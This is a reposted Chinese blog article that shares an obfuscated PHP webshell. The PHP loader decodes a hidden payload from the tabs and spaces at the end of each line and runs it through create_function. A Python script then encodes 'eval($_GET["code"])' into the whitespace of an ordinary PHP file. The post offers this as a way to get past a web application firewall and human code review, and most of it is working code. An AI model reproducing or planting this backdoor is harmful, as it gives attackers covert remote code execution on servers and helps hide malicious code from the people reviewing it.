美文网首页
一个过人的php小马

一个过人的php小马

作者: 折戟尘风 | 来源:发表于2019-07-29 21:11 被阅读0次

转自:
https://imbawenzi.github.io/2019/04/18/一个有趣的webshell---将代码隐藏在空白处/
分享一个小马,不但过狗还过人。
小马代码部分:

<?php
    class newDataProvider {
        function __construct() {
            $f = file(__FILE__);
            $r = "";
            $c = "";
            for($i = 0; $i < count($f); $i++) {
                if($i < 15){
                    $r .= $this->dataProcessor($f[$i]);
                } else {
                    $c .= $this->dataProcessor($f[$i]);
                }
            }
            $t = $r('',"$c");
            $t();
        }
        function dataProcessor($li) {
            preg_match('/([\t ]+)\r?\n?$/', $li, $m);
            if (isset($m[1])) {
                $l = dechex(substr_count($m[1], "\t"));
                $r = dechex(substr_count($m[1], " "));
                $n = hexdec($l.$r);
                return chr($n);
            }
            return "";
        }
    }
    new newDataProvider();
?>

可以重点关注dataProcessor这个函数,通过正则匹配文件每一行最后的/t或者空格数,并以这两个的计数的十六进制分别代表一位,来拼成一个ascii码。显然这些空格和/t的数量是我们可以自己写好的,这样我们就可以构造空格和/t的数量来构造一个小马或者其他恶意代码。转载的博主已经实现了,可以看看:

funcName = 'create_function'
code = 'eval($_GET["code"]);'
blank = funcName+code

fin = open('test.php','r')
fout = open('testOutput.php','w')
content = fin.readlines()

if len(content) < len(blank):
    for i in range(len(blank)-len(content)):
        content += ['\n']

for i in range(len(blank)):
    tensPlace = int(hex(ord(blank[i]))[2], 16)
    onesPlace = int(hex(ord(blank[i]))[3], 16)
    if content[i][-1] == '\n':
        content[i] = content[i][0:-1] + tensPlace*'\t' + onesPlace*' ' + '\n'
    else:
        content[i] = content[i] + tensPlace*'\t' + onesPlace*' ' + '\n'

for line in content:
    fout.write(line)

fin.close()
fout.close()

利用python脚本来实现从指定代码到空格和/t的添加。这样就在之前的那个文件里面构造了合适的空格和/t来表示恶意代码。生成新的文件便是我们最终的恶意文件了。


111

相关文章

  • 一个过人的php小马

    转自:https://imbawenzi.github.io/2019/04/18/一个有趣的webshell--...

  • dvwa上传漏洞利用exp

    用法(python3) 针对单个ipd盘放个小马(D:\cmd.php) exp

  • 还在用PHP5.2很丢脸吗

    还在用PHP5.2很丢脸吗?这个问题其实也不是本次文章的重点,小马挂羊头卖个狗肉。 问题是这样的,小马在写QQ、微...

  • DDD领域驱动设计(笔记)

    本文是小马的学习笔记备用,比较杂乱。不过小马自己已实现了一份PHP demo,目前在整理完善中且后期会整理出一份比...

  • JAVA基础语法与Spring笔记

    小马最近在执行一个spring项目源码翻译为PHP的任务。所以复盘了下JAVA知识,做下笔记并分享。笔记目前还比较...

  • 从0到1学习网络安全 【实战篇 - 制作一匹过狗马】

    研究了下过狗php小马,分享一下制作的过程 注:今后继续定期更新---“实战”! Step1:制作了一个执行命令的...

  • AntSword

    创建ant.php 下载地址:AntSword 操作:通过上传小马文件到服务器,使用antSword执行木马,获取...

  • PHP字符编码判断猝不及防之坑

    小马曾经有讲过PHP函数mb_detect_encoding误判带来的坑,今天再来讲讲这个函数的惊天秘密。你准备好...

  • 小马的童年

    小马的童年 从前,有一匹小马,小马在学校没有一个好朋友,你们知道小马为什么没有好朋友吗?那我们就看接下来的故事...

  • 小马,小马

    书里面我印象比较深刻的形象是《推拿》里的小马。他就像贝多芬一样,永远在抗争,永远在追寻,他一直和周边的人不容,因为...

网友评论

      本文标题:一个过人的php小马

      本文链接:https://www.haomeiwen.com/subject/niwirctx.html